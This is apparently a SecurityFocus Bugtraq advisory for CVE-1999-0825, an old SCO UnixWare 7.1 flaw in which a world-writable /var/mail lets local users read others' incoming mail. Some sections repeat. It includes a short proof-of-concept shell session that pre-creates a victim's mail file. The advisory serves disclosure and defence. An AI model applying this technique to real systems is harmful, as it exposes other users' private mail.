SCO UnixWare '/var/mail' permissions Vulnerability
BID:849
Info
SCO UnixWare '/var/mail' permissions Vulnerability
| Bugtraq ID: | 849 |
| Class: | Access Validation Error |
| CVE: |
CVE-1999-0825 |
| Remote: | No |
| Local: | Yes |
| Published: | Dec 03 1999 12:00AM |
| Updated: | Jul 11 2009 01:56AM |
| Credit: | This vulnerability was posted to the Bugtraq mailing list by Brock Tellier on Fri, 3 Dec 1999. |
| Vulnerable: |
SCO Unixware 7.1 |
| Not Vulnerable: | |
Discussion
SCO UnixWare '/var/mail' permissions Vulnerability
Certain versions of SCO's UnixWare (only 7.1 was tested) ship with the /var/mail/
directory with permission 777(-rwxrwxrwx) . This in effect allows malicious users to read incoming mail for users who do not yet have a mail file (/var/mail/username) present. This may be done by simply creating the file in question with a permission mode which is readable to the attacker.
Certain versions of SCO's UnixWare (only 7.1 was tested) ship with the /var/mail/
directory with permission 777(-rwxrwxrwx) . This in effect allows malicious users to read incoming mail for users who do not yet have a mail file (/var/mail/username) present. This may be done by simply creating the file in question with a permission mode which is readable to the attacker.
Exploit / POC
SCO UnixWare '/var/mail' permissions Vulnerability
bash-2.02$ id
uid=106(xnec) gid=1(other)
bash-2.02$ pwd
/var/mail
bash-2.02$ touch btellier
bash-2.02$ chown btellier btellier
bash-2.02$ ls -la btellier
-rw-r--r-- 1 btellier other 0 Dec 4 07:54 btellier
Now wait for btellier to get some mail...
[This exploit is part of the original mail on this subject posted by Brock Tellier, it is listed in its entirety in the 'Credit' section of this vulnerability entry.]
bash-2.02$ id
uid=106(xnec) gid=1(other)
bash-2.02$ pwd
/var/mail
bash-2.02$ touch btellier
bash-2.02$ chown btellier btellier
bash-2.02$ ls -la btellier
-rw-r--r-- 1 btellier other 0 Dec 4 07:54 btellier
Now wait for btellier to get some mail...
[This exploit is part of the original mail on this subject posted by Brock Tellier, it is listed in its entirety in the 'Credit' section of this vulnerability entry.]
Solution / Fix
SCO UnixWare '/var/mail' permissions Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
SCO UnixWare '/var/mail' permissions Vulnerability
References:
References: